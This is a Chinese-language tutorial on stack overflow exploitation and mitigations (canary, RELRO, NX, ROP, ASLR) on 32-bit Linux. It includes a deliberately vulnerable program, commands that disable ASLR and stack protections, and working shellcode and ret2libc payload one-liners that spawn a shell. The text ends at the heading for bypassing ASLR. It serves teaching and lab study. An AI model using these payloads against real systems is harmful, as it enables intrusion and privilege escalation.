栈溢出漏洞的利用和缓解
一直有人说这个时代做渗透太难了, 各个平台都开始重视安全性, 不像十几年前, 随便有个栈溢出就能轻松利用. 现在的环境对于新手而言确实不算友好, 上来就需要 面临着各种边界保护, 堆栈保护, 地址布局随机化. 但现实如此, 与其抱怨, 不如直面现实, 拥抱变化, 对吧?
本文所演示的环境为64位Linux+32位ELF程序. 文中所用到的代码和exp皆可在github仓库中找到.
前言
知识准备
首先, 当然是要先了解什么是栈溢出. 要了解栈溢出, 就必须要先知道栈的布局. 以32位应用程序为例, 假设函数foo有两个参数和两个局部变量:
int foo(int arg1, int arg2) {
int local1;
int local2;
// ...
}
那么该函数的栈帧布局如下:
变量 | 相对于ebp | 相对于esp |
---|---|---|
函数调用者的变量 | [ebp + 16] | [esp + 24] |
arg2 | [ebp + 12] | [esp + 20] |
arg1 | [ebp + 8] | [esp + 16] |
返回地址 | [ebp + 4] | [esp + 12] |
保存的ebp | [ebp] | [esp + 8] |
local1 | [ebp - 4] | [esp + 4] |
local2 | [ebp - 8] | [esp] |
要记住栈是往低地址增长的. 所以每当有新的本地变量(入栈), 其地址也就越小. 关于x86的汇编这里不想介绍太多, 如果只想有个快速认识, 可以参考x86 Assembly Cheat Sheet, 如果想要对汇编, 调用约定和平台差异有深入了解的话, 建议阅读RE4B(中文版).
程序准备
本文中, 我们用一个简单的c程序来介绍漏洞的利用和缓解:
// victim.c
# include <stdio.h>
int foo() {
char buf[10];
scanf("%s", buf);
printf("hello %s\n", buf);
return 0;
}
int main() {
foo();
printf("good bye!\n");
return 0;
}
void dummy() {
__asm__("nop; jmp esp");
}
可以看到, 当输入过长时, buf变量会溢出其边界, 导致往栈底(高地址)覆盖, 从而会有修改到本不该被修改的内容, 下节就以该程序为起点进行分析. dummy函数下面会说其作用.
基本攻击
上古时期, 混沌初开, 人们对安全的概念还没有太大认知, 各种bug频出, 编译器也仅仅是实现了基本功能, 还整天被程序员催更(实现各种C/C++新标准和特性). 所以并未对缓冲溢出漏洞的利用作各种限制, 模拟这种场景可以用如下方式:
# 运行时禁用ASLR(系统级):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# 或者:
# sudo sysctl kernel.randomize_va_space=0
# 或者新建一个禁用ASLR的bash环境(用户级):
# setarch `uname -m` -R /bin/bash
# 编译时禁用canary和NX:
gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack
-m32
是因为我的系统为64位, 这里编译出32位的应用程序. -no-pie
是为了不启用PIC.
这时有人看到这种程序会想, buf溢出之后, 如果控制得当, 不是可以覆盖返回地址吗,
也就是说可以覆盖PC指针, 执行代码. 那么怎么样才能执行想要的代码呢, 比如system("/bin/sh")
?
最简单的办法就是把想执行的代码用机器码表示, 即俗称的shellcode, 将其写入程序,
然后将返回地址修改为该段shellcode的起始地址, 不就OK了吗? 所以我们scanf的输入应该类似于:
# 低地址 ---> 高地址
...[shellcode]...[返回地址]...
# 或者
...[返回地址]...[shellcode]...
前者是把shellcode写在foo函数的栈帧里, 但其大小有限; 后者则是把shellcode写在调用者(main)的栈帧里. 关键是地址如何确定? shellcode如何编写?
确定地址
返回地址看似是buf+10, 但考虑到编译器的不同会导致预留(对齐)不同的空间, 所以需要精确确认.
先生成(或者自己写)一个有固定模式的字符串, 这里用De Brujin
序列:
$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
然后用gdb启动victim程序调试并输入上述paylod:
$ gdb victim
(gdb) run
Starting program: /home/pan/victim
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
Program received signal SIGSEGV, Segmentation fault.
0x41494141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41494141
看到程序发生段错误, 并且PC指针eip的值为0x41494141, 即小端的AAIA, 出现在De Brujin序列的第23字节, 所以可以确定输入溢出到第23字节时覆盖了PC指针. 确定了位置, 那么该写哪个地址值呢? 我们知道应该要跳转到shellcode头部, shellcode写在buf中, 而buf则在栈上(还记得上面的栈帧表格吗?), 反汇编foo函数:
(gdb) disassemble foo
Dump of assembler code for function foo:
0x0804848b <+0>: push ebp
0x0804848c <+1>: mov ebp,esp
0x0804848e <+3>: push ebx
0x0804848f <+4>: sub esp,0x14
0x08048492 <+7>: call 0x80483c0 <__x86.get_pc_thunk.bx>
0x08048497 <+12>: add ebx,0x1b69
0x0804849d <+18>: sub esp,0x8
0x080484a0 <+21>: lea eax,[ebp-0x12]
0x080484a3 <+24>: push eax
0x080484a4 <+25>: lea eax,[ebx-0x1a50]
0x080484aa <+31>: push eax
0x080484ab <+32>: call 0x8048370 <__isoc99_scanf@plt>
0x080484b0 <+37>: add esp,0x10
0x080484b3 <+40>: sub esp,0x8
0x080484b6 <+43>: lea eax,[ebp-0x12]
0x080484b9 <+46>: push eax
0x080484ba <+47>: lea eax,[ebx-0x1a4d]
0x080484c0 <+53>: push eax
0x080484c1 <+54>: call 0x8048340 <printf@plt>
0x080484c6 <+59>: add esp,0x10
0x080484c9 <+62>: mov eax,0x0
0x080484ce <+67>: mov ebx,DWORD PTR [ebp-0x4]
0x080484d1 <+70>: leave
0x080484d2 <+71>: ret
End of assembler dump.
看9~18行可以发现buf的地址为ebp-0x12,我们是不是可以直接跳转到硬编码的buf地址呢? 我们可以自己试验每次断点在foo时打印寄存器值:
(gdb) b foo
Breakpoint 1 at 0x656: file victim.c, line 5.
(gdb) run
...
(gdb) info reg
eax 0xf7fa6dbc -134582852
ecx 0xffffc5a0 -14944
edx 0xffffc5c4 -14908
ebx 0x804a000 134520832
esp 0xffffc560 0xffffc560
ebp 0xffffc578 0xffffc578
...
在我的电脑上, 发现每次ebp的值都是一样, 但其实机器重启后很可能就不同了,
而且不同操作系统也会有所差异. 所以将返回地址覆盖为0xffffc578-0x12
并不是个通用的方法.
虽然栈地址不是固定的, 但程序地址总是固定的, 所以聪明的黑客想到了利用程序里jmp esp
或call esp
之类的
指令片段来将执行流引导到我们的shellcode上. 为此, 我们就要从程序代码中寻找包含改指令的片段,
看看我们想要的这两条指令的机器码是什么:
$ rasm2 -a x86 -b 32 "nop; jmp esp"
90ffe4
对于大型程序而言, 找几个字节不是难事, 但我们这种小程序就比较难找到, 所以我为了方便就加了个 dummy函数, 来模拟大型程序中查找代码段的过程. 可以用radare2或rafind2来查找:
$ r2 ./victim
[0x08048390]> /x 90ffe4
Searching 3 bytes in [0x8048000-0x8048754]
hits: 1
Searching 3 bytes in [0x8049f08-0x804a028]
hits: 0
0x08048520 hit0_0 90ffe4
也可以通过objdump:
$ objdump -d ./victim -M intel | grep 'ff e4' -B 1
8048520: 90 nop
8048521: ff e4 jmp esp
这样我们的返回地址就能确定了, 即0x08048520. 不过这里有个小细节就是scanf会被空格(\x20)截断, 所以特地加了个空指令并令返回地址为0x08048521.
shellcode编写和payload构造
对于shellcode的编写, 如果逻辑简单则很容易, 可以直接写汇编再转为机器码即可; 如果逻辑复杂点, 只是执行系统调用的话依旧可以单独写; 而对于复杂的例子, 例如执行system库函数, 并指定第一个参数为"/bin/sh"字符串(的地址), 就要先找到system函数的地址, 然后按照调用约定来调用.
先看简单的, 比如直接退出, 这里可以用_exit
系统调用, 汇编为:
mov eax, 0x01;
mov ebx, 66;
int 0x80;
其中0x01是exit
的系统调用号, ebx为参数, 即我们想程序立刻结束并返回66. 用rasm2来编译:
$ rasm2 -a x86 -b 32 -f shellcode.asm
b801000000bb42000000cd80
配合前面确定的返回地址, 可以构造一个payload:
python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'"
这里注意返回地址是小端字节序. 还有payload写在返回地址的后面而不是前面, 因为在函数返回后,
经过了leave
和ret
指令, 已经恢复了原来的栈帧(原本被保护性压入栈, 即高地址中).
'\x90'*50
的作用是填充nop指令, 可以提高payload的鲁棒性, 不用精确指定指令起始地址也能执行,
通常称为NOP sled
. 测试下:
# 正常执行
$ echo "world" | ./victim
hello world
good bye!
$ echo $?
0
# payload执行
$ python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'" | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!����������������������������������������������������
$ echo $?
66
第二次优雅地退出了, 并且返回码是我们所期望的66. 仅仅是利用系统调用, 就可以实现足够丰富的功能.
关于Linux系统调用的文档, 可以通过man syscalls
查看.
在现实世界中, 如果我们想要执行更复杂的指令, 那必然会用到库函数, 所以再看一个例子,
注入payload来获取一个交互式的shell. 之前也说过, 其实就是执行system("/bin/sh")
函数,
但关键是要获取system函数的地址. system是标准的库函数, 一般存在于libc动态链接库中:
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
linux-gate.so.1 (0xf7fd7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
/lib/ld-linux.so.2 (0xf7fd9000)
根据输出知道libc.so会被加载到0xf7df1000这个地址上.
注意: 曾经我以为
ldd
命令也能获取类似的结果, 但后来发现其结果不一定准确! 详见why-does-ldd-and-gdb-info-sharedlibrary-show-a-different-library-base-addr.
接下来看看system函数相对于libc.so的偏移:
$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | grep system
246 0x00113de0 0x00113de0 GLOBAL FUNC 68 svcerr_systemerr
628 0x0003ab30 0x0003ab30 GLOBAL FUNC 55 __libc_system
1461 0x0003ab30 0x0003ab30 WEAK FUNC 55 system
# 或者用`readelf`:
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
246: 00113de0 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
628: 0003ab30 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1461: 0003ab30 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
# 或者用`nm`工具也是可以的:
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
0003ab30 T __libc_system
00113de0 T svcerr_systemerr
0003ab30 W system
不管用哪种方法, 偏移量都应该是相同的. 所以, system函数地址应该是0xf7df1000 + 0x3ab30:
$ rax2 =16 0xf7df1000+0x3ab30
0xf7e2bb30
然后, 还需要找到"/bin/sh"这个字符串的地址:
$ rafind2 -z -s /bin/sh ./victim
很不幸, 没有找到. 再在libc里找下:
$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48
$ rax2 =16 0xf7df1000+0x15ce48
0xf7f4de48
找到了! 然后用该偏移加上libc加载地址即可. 哦, 这位问了, 要是还是没找到怎么办? 没关系, 我们还可以用环境变量自己传进去! 而且既然我们能控制payload, 那也写在payload里! 举例shellcode如下:
; shellcode_sh.asm
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push eax
mov edi, 0xf7e2cb30
call edi
编译, 用rasm2 -C
直接产生C数组兼容的输出:
$ rasm2 -a x86 -b 32 -f shellcode_sh.asm -C
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2" \
"\xf7\xff\xd3"
测试:
$ (python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2\xf7\xff\xd3'" && cat) | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!���������������������������������������������������1�Ph//shh/bin��P�0�����
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
成功获得交互式的shell! 如果victim程序有suid权限的话, 还可以用来获取具有root权限的shell.
值得一提的是, 这里输入payload用(python -c "print 'xxx'" && cat) | ./victim
的方式,
为什么这里要加&& cat
而之前不用? 这是管道的工作机制决定的, python打印payload之后马上结束,
从而关闭了管道的写端, 导致虽然执行了命令但没法获得交互, 所以要用cat命令来维持住.
至此, 一个基本的栈溢出利用过程已经介绍完毕.
Canary/SSP/GS
canary value, 即金丝雀值, 是一个缓解栈溢出漏洞的基本方式. 为什么要叫这个名字? 因为金丝雀比较敏感脆弱, 以前人们在进入煤矿的时候会拿一只金丝雀在手上, 用来检测 一氧化碳等有毒气体. 在环境异常时, 金丝雀会比人先出现反应, 可以用来作为一个警告信号. 在二进制中, canary则用来在恶意payload执行之前, 检测栈帧的异常.
原理
Stack Canaries通常是在函数的prologue和epilogue中插入完整性校验的代码, 如果校验异常则 进入系统异常处理的流程. canary一般分为终止型(Terminator)和随机型(Random), Terminator 指一些函数会被终止符截断, 比如之前的scanf会被空格截断, strcpy()会被NULL截断, gets()会被换行截断, 等等, 常见的终止符包括NULL(0x00), CR(0x0d), LF(0x0a)以及EOF(0xff); Random型canary通常的实现方式是, 在栈中返回地址之前保存一个小的整数, 并且程序在跳转到返回地址之前 会对该整数进行校验, 若校验出错则直接进入软件异常. 而这个小整数则是在程序启动时随机生成的. 其介绍以及各个编译器的实现方式可以参考维基百科的Buffer overflow protection. 另外有兴趣也可以看看这篇文章, 其介绍了(Linux类系统下)最初的实现. canary的插入点一般如下右图所示:
Process Address Process Address
Space Space
+---------------------+ +---------------------+
| | | |
0xFFFF | Top of stack | 0xFFFF | Top of stack |
+ | | + | |
| +---------------------+ | +---------------------+
| | malicious code <-----+ | | malicious code |
| +---------------------+ | | +---------------------+
| | | | | | |
| | | | | | |
| | | | | | |
| +---------------------| | | +---------------------|
| | return address | | | | return address |
| +---------------------+ | | +---------------------|
stack | | saved EBP +-----+ stack | | saved EBP |
growth | +---------------------+ growth | +---------------------+
| | local variables | | | **stack canary** |
| +---------------------+ | +---------------------+
| | | | | local variables |
| | buffer | | +---------------------+
| | | | | |
| | | | | buffer |
| +---------------------+ | | |
| | | | | |
| | | | +---------------------+
| | | | | |
v | | v | |
0x0000 | | 0x0000 | |
+---------------------+ +---------------------+
实现
这里以glibc 2.26
为例(各个版本的libc源码可以在这里下载), canary实现相关的代码在libc-start.c
中:
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// ...
__stack_chk_guard = stack_chk_guard;
_dl_setup_stack_chk_guard
函数的实现如下:
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
union
{
uintptr_t num;
unsigned char bytes[sizeof (uintptr_t)];
} ret = { 0 };
// __stack_chk_guard为terminator型canary
if (dl_random == NULL)
{
ret.bytes[sizeof (ret) - 1] = 255;
ret.bytes[sizeof (ret) - 2] = '\n';
}
// __stack_chk_guard为random型canary
else
{
memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
# error "BYTE_ORDER unknown"
#endif
}
return ret.num;
}
可以看到根据dl_random
的值是否为空, 该函数分别实现了terminator型和random型的canary.
绕过方法
由于栈canary在编译期修改了函数的prologue和epilogue来分别设置和检测canary值, 所以当发生溢出并尝试利用时, 在覆盖返回地址的途中, 必然也会覆盖到canary的地址. 当程序检测到canary值异常, 就会立刻进入系统的默认异常处理流程中. 那么如何绕过? 一般来说, (random型canary)有如下几种方式:
覆盖canary
既然程序只是检测canary的值, 那我们就覆盖成真正的值不就好了? 所以关键是如何得到 原来的canary值, 具体来说有以下几种方法.
爆破
对于静态型每次不变的canary, 我们可以通过暴力破解的方式把该值测出来. 听起来不太现实? 考虑这样一种网络程序, 接受一个tcp链接, 然后fork一个子进程去处理该链接的交互. 由于子进程会继承父进程的地址空间, 所以canary值也是相同的, 通过不断fuzzy子进程(们), 便可以得到canary的精确值, 再构造payload, 一个RCE就诞生了!
信息泄露
另一个想法是通过泄露canary值来写入相同的值以绕过检测. 这通常和实际的代码有关, 比如以下代码片段:
void foo() {
char buf[16];
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bar() {
char buf[16];
scanf("%s", buf);
}
int main() {
foo();
bar();
}
可以看到bar中有个栈溢出, 但是因为开启了canary无法直接利用, 不过在foo中, 我们可以控制打印的内容! 所以只要在foo中将打印内容控制为canary的地址(注意不要破坏canry), 并且通过泄露的信息, 在利用bar时便能成功绕过canary的检测. 虽然这里是为了方便举了个 简单的例子, 但实际中类似这样信息泄露的地方也是屡见不鲜的.
覆盖GOT
由于canary的校验是在返回之前, 所以我们才不能覆盖返回地址来执行shellcode, 那么反过来想, 如果我们能在canary校验之前执行shellcode, 不就可以了吗? 考虑如下函数:
// relocs.c
int main() {
char buf[16];
fscanf(stdin, "%s", buf);
printf("input is %s\n", buf);
}
一个很常见的执行流程, 也没有足够的信息泄露, 那么该如何利用? 这就要说到Linux动态 链接库的加载过程了, 如果你还不清楚GOT/PLT的工作过程, 可以参考这篇文章和这篇文章. 简而言之, 动态链接的可执行程序, 其使用到的外部变量的偏移存放于GOT(global offset table) 中, 而使用到的外部函数存放于PLT(Procedure Linkage Table)中, 其中PLT又实现了延时加载, 只会在第一次时将用到的函数地址加载到某个地方(.got.plt), 之后直接从该地方读取.
以一个刚刚的文件为例, 编译并查看符号表:
$ gcc -m32 relocs.c -o relocs
$ readelf --relocs ./relocs
Relocation section '.rel.dyn' at offset 0x3bc contains 10 entries:
Offset Info Type Sym.Value Sym. Name
00001ee8 00000008 R_386_RELATIVE
00001eec 00000008 R_386_RELATIVE
00001ff4 00000008 R_386_RELATIVE
0000201c 00000008 R_386_RELATIVE
00001fe4 00000106 R_386_GLOB_DAT 00000000 _ITM_deregisterTMClone
00001fe8 00000406 R_386_GLOB_DAT 00000000 __cxa_finalize@GLIBC_2.1.3
00001fec 00000506 R_386_GLOB_DAT 00000000 __gmon_start__
00001ff0 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
00001ff8 00000806 R_386_GLOB_DAT 00000000 _Jv_RegisterClasses
00001ffc 00000906 R_386_GLOB_DAT 00000000 _ITM_registerTMCloneTa
Relocation section '.rel.plt' at offset 0x40c contains 3 entries:
Offset Info Type Sym.Value Sym. Name
0000200c 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
00002010 00000307 R_386_JUMP_SLOT 00000000 __isoc99_fscanf@GLIBC_2.7
00002014 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
可以看到stdin是外部变量, 而printf则是外部函数, 都在libc.so里面. 查看对应的section:
$ readelf -S relocs | egrep 'got|plt'
[10] .rel.plt REL 0000040c 00040c 000018 08 AI 5 24 4
[12] .plt PROGBITS 00000450 000450 000040 04 AX 0 0 16
[13] .plt.got PROGBITS 00000490 000490 000010 00 AX 0 0 8
[23] .got PROGBITS 00001fe4 000fe4 00001c 04 WA 0 0 4
[24] .got.plt PROGBITS 00002000 001000 000018 04 WA 0 0 4
发现plt是可执行的, 但是不可写; 而got则是可写的, 确不可执行. 之前也说了,
外部函数会被动态加载到.got.plt
对应的偏移中, 它的本质也只是一个含有众多函数指针的数组.
所以, 如果我们能通过溢出来改写这个表对应函数的地址, 不就可以实现执行了吗?
举例来说, relocs.c中的fscanf中存在溢出, 那么我们通过溢出, 修改了printf@got.plt的地址, 不就可以在main函数返回之前(校验canary之前)执行我们所构造的shellcode了吗? 实际上, 这也正式当前最常用的绕过canary的方式了.
SEH
SEH(Structured Exception Handler)是Windows系统特有的处理异常方式. 我们注意到当canary异常时会进入异常处理中, 如果异常处理代码的地址也是在栈空间上的话, 我们可以随意覆盖canary和返回地址, 并把异常处理的代码地址覆盖为我们的payload地址, 同样也是可以实现程序执行流程的控制.
RELRO
在2001年, teso安全团队的文章中描述了覆盖.got.plt
段来截获控制流的方法.
而在2004年, 就有了这种利用手法的防护, 称为重定向只读, 即RELRO.
RELRO的作用是将重定向表设置为只读. 实际上RELRO也包含了两个层级的防护, 即Partial RELRO和Full RELRO.
Partial RELRO(链接时通过ld -z relro
指定), 其作用大致是:
- 将
.got
段映射为只读, 不过.got.plt
还是可写的. - 重新排列各个section来减少全局变量溢出到控制结构中的可能性.
Full RELRO(链接时通过ld -z relro -z now
指定), 其作用是:
- 执行Partial RELRO相关的操作.
- 在链接时解析所有符号.
- 将
.got.plt
合并到.got
中.
因此, Full RELRO可以防止.got.plt
中的函数指针被覆盖.
如何绕过? 请看下节分解:)
NX/DEP
NX, Non-Executable(Windows中称为DEP), 顾名思义, 就是将内存中重要的
数据结构标记为不可执行. 而这些数据结构里, 就包括了上节说到的Full RELRO
下的.got.plt
表, 以及我们挚爱的栈.
思路
让我们再次回到最开始的victim.c
中, 这次编译时明确指定栈不可执行(-z noexecstack):
gcc victim.c -o victim_nx -g -m32 -masm=intel -no-pie -fno-stack-protector -z noexecstack
之前已经介绍了怎么利用jmp esp
来执行payload, 可是这时候栈已经是不可执行的了,
之前的方式便不再可用. 等等..虽然栈不可执行, 可我们还是可以控制返回地址啊!
天涯何处无芳草, 何必总在栈上搞. 别忘了, 之前我们说过如何计算出libc中的函数地址,
那直接跳转到system函数不就可以了? 当然, 跳转之前要先做好栈的布局, 根据调用约定,
只要把要调用的函数的参数从右到左压入栈中即可.
实践
为了更具体地说明利用过程, 以刚编译的victim_nx
为例, 让我们来尝试继续exploit之.
首先再次确定下该二进制的安全选项, 并用之前的De Brujin
序列来fuzzy下:
$ gdb ./victim_nx
...
Reading symbols from ./victim_nx...done.
(gdb) source ~/tools/peda/peda.py
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ run
Starting program: /home/pan/victim_nx
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
...
Stopped reason: SIGSEGV
0x41494141 in ?? ()
gdb-peda$ p $eip
$1 = (void (*)()) 0x41494141
可以看到溢出覆盖点还是从第23字节开始. 这次为了方便直接找现成的函数和字符串地址:
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e2bb30 <system>
gdb-peda$ searchmem /bin/sh\x00
Searching for '/bin/sh\x00' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4de48 ("/bin/sh")
所以, 我们只要把返回地址写为system函数的地址(0xf7e2bb30), 并且保证跳转前栈顶 的值(esp)为"/bin/sh"(0xf7f4de48)即可. 注意一般函数在epilogue阶段会恢复栈帧:
; leave
mov esp, ebp
pop ebp
; ret
pop eip
ret结束之后, esp往上加4字节, 所以返回地址之后第一个4字节应该是system的返回地址, 这个可以先随便写, 这里用BBBB来填充(但是请记住这个地址,我们在介绍ASLR时会用到); 第二个4字节则是system的最后一个(只有一个)参数地址, payload如下:
...[22字节]+[0xf7f4de48]+[4字节]+[0xf7e2bb30]
整数换算成小端字节序, 测试如下:
$ (python -c 'print "A"*22 + "\x30\xbb\xe2\xf7" + "B"*4 + "\x48\xde\xf4\xf7"' && cat) | ./victim_nx
hello AAAAAAAAAAAAAAAAAAAAAA0���H���H���
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
getshell成功, 而且是不是感觉payload更加精简了? :)
ROP
除了跳转到system
函数, 还有些常用的比如mprotect
(win下的VirtualProtect),
可以重新给内存添加执行权限. 事实上我们可以跳转到任意加载的函数, 但最常用的还是libc,
所以, 这种方法又称之为Return-to-libc攻击.
除此之外, 还可以跳转到PLT中, 称为Return-to-plt
.
那么, 如果我们就是想执行自己写的shellcode(汇编), 又该如何操作? 这种利用方式则 称为ROP(Return-oriented programming), 面向返回的编程, 起源于OOP面向对象编程盛行 的年代, 颇有点黑色幽默的意思.
好吧扯远了, 那么到底什么是ROP? 回想NX的保护, 虽然指定了我们的栈不可执行, 但程序空间中可以执行的地方也很多, 如果把这些地方的代码片段按顺序拼凑起来, 不就可以执行我们想要的功能了吗? 举个例子, 我们溢出后想执行以下的shellcode:
mov eax, 0x01;
mov ebx, 66;
int 0x80;
写在栈空间里是不行了, 不过我们如果能在程序自身的代码中找到这段shellcode,
然后跳转到上面不就行啦? 对于一两条指令还好, 分分钟可以找到匹配的地方,
可对于较多的指令, 就没那么容易找到完整匹配了. 因此, 聪明的黑客想了个办法,
我们不是可以覆盖栈空间吗? 那么在栈上多写几个地址, 将他们通过ret
指令再
串起来不就可以了? 每个地址对应一个片段, 都以ret为结尾. 比如上述shellcode,
我一下子找不到匹配, 但是可以分开找:
; 片段1
mov eax, 0x01;
ret
; 片段2
mov ebx, 66;
int 0x80;
ret
按照排列组合不断细分, 最终找到符合的一种分法. 通过在栈上依次写入这些片段的 地址, 就能将其连起来执行:
---栈溢出--->
.............[片段1地址(返回地址)][片段2地址]...[片段N地址]
这里的每个指令片段通常称为Gadget
. 手工寻找合适的ROP Gadget是个费时费力的过程,
不过这种重复劳动可以很容易的 用脚本来完成, 一些成熟的辅助工具如moan.py,
ropper, pwntools, radare2,
都提供了寻找ROP Gadget的功能, 极大提高了exploit的效率.
ASLR
不知道大家有没有发现, 我们上面对于漏洞的利用, 大多是需要执行某个系统函数, 而这个函数的地址, 是通过加载基地址加上一个固定的偏移决定的, 查看基地址:
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
linux-gate.so.1 (0xf7fd7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
/lib/ld-linux.so.2 (0xf7fd9000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
linux-gate.so.1 (0xf7fd7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
/lib/ld-linux.so.2 (0xf7fd9000)
查看了两次发现libc的加载地址都是0xf7df1000, 在这个基础上, 我们的exploit才得以 写入固定的system函数地址来执行.
但是, 出现了一种称为ASLR(Address space layout randomization)的技术, 被用来缓解缓冲溢出漏洞的利用. 其功能和名字一样, 实现地址空间的随机化, 效果如下:
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
linux-gate.so.1 (0xf7748000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7562000)
/lib/ld-linux.so.2 (0xf774a000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
linux-gate.so.1 (0xf7728000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7542000)
/lib/ld-linux.so.2 (0xf772a000)
Linux提供了三种ASLR的模式(/proc/sys/kernel/randomize_va_space
):
0 – No randomization. Everything is static.
1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.
2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.
启用ASLR之后, 每次动态链接库的加载基地址就不再是个固定值了, 从而加大了利用难度. 同一个程序, 在启用ASLR的情况下, 三次执行的内存映射可能如下:
First execution Second Execution Third Execution
+ +------------------+ +------------------+ +------------------+
| | | | | | |
| | | +------------------+ | |
| +------------------+ | executable | | |
| | executable | | | +------------------+
| | | +------------------+ | executable |
| +------------------+ | | | |
| | | | | +------------------+
| | | +------------------+ | |
| | | | | +------------------+
| | | | heap | | |
| +------------------+ | | | heap |
| | | +------------------+ | |
| | heap | | | +------------------+
| | | | | | |
| +------------------+ | | | |
| | libraries | | | +------------------+
| | | | | | libraries |
| +------------------+ | | | |
| | | +------------------+ +------------------+
| | | | libraries | | |
| | | | | | |
| | | +------------------+ | |
| | | | | +------------------+
| | | +------------------+ | |
| | | | | | Stack |
| +------------------+ | Stack | | |
| | | | | | |
| | Stack | | | +------------------+
| | | +------------------+ | |
| | | | | | |
| +------------------+ | | | |
| | | | | | |
v +------------------+ +------------------+ +------------------+
实现
对于Linux, ASLR也是在内核中实现的. 正因如此, 我们可以有幸从源码中一窥其究竟.
在内核加载并运行一个可执行文件(ELF)时, 调用了/fs/binfmt_elf.c
文件中的load_elf_binary
函数, 这里抽取其关键部分来看看:
static int load_elf_binary(struct linux_binprm *bprm)
{
//...
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
current->flags |= PF_RANDOMIZE;
//...
/* Do this so that we can load the interpreter, if need be. We will
change some of these later */
retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
executable_stack);
//...
/* N.B. passed_fileno might not be initialized? */
current->mm->end_code = end_code;
current->mm->start_code = start_code;
current->mm->start_data = start_data;
current->mm->end_data = end_data;
current->mm->start_stack = bprm->p;
if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
current->mm->brk = current->mm->start_brk =
arch_randomize_brk(current->mm);
#ifdef compat_brk_randomized
current->brk_randomized = 1;
基本上符合之前对randomize_va_space
的介绍, 栈的初始化通过setup_arg_pages()
来实现; 启用Full Randomization时, brk()函数的地址通过arch_randomize_brk()
来进行初始化.
一步步追踪下去可以看到每个函数的具体实现, 关键的实现在/drivers/char/random.c
中的randomize_page()
函数中:
/*
* NOTE: Historical use of randomize_range, which this replaces, presumed that
* @start was already page aligned. We now align it regardless.
*
* Return: A page aligned address within [start, start + range). On error,
* @start is returned.
*/
unsigned long
randomize_page(unsigned long start, unsigned long range)
{
if (!PAGE_ALIGNED(start)) {
range -= PAGE_ALIGN(start) - start;
start = PAGE_ALIGN(start);
}
if (start > ULONG_MAX - range)
range = ULONG_MAX - start;
range >>= PAGE_SHIFT;
if (range == 0)
return start;
return start + (get_random_long() % range << PAGE_SHIFT);
}
通过传入起始地址和范围, 返回一个在改范围内随机的(且对其的)地址. 想深入了解的同学可以参考0x00sec安全团队ricksanchez的这篇文章.
绕过方法
爆破
